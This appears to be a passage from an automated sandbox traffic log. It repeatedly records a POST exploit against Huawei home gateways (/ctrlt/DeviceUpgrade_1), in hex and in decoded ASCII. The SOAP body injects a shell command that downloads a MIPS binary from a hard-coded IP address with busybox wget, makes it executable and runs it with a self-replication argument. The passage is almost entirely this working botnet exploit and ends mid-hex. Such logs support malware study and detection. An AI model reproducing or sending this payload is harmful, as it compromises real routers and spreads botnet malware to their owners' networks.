2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 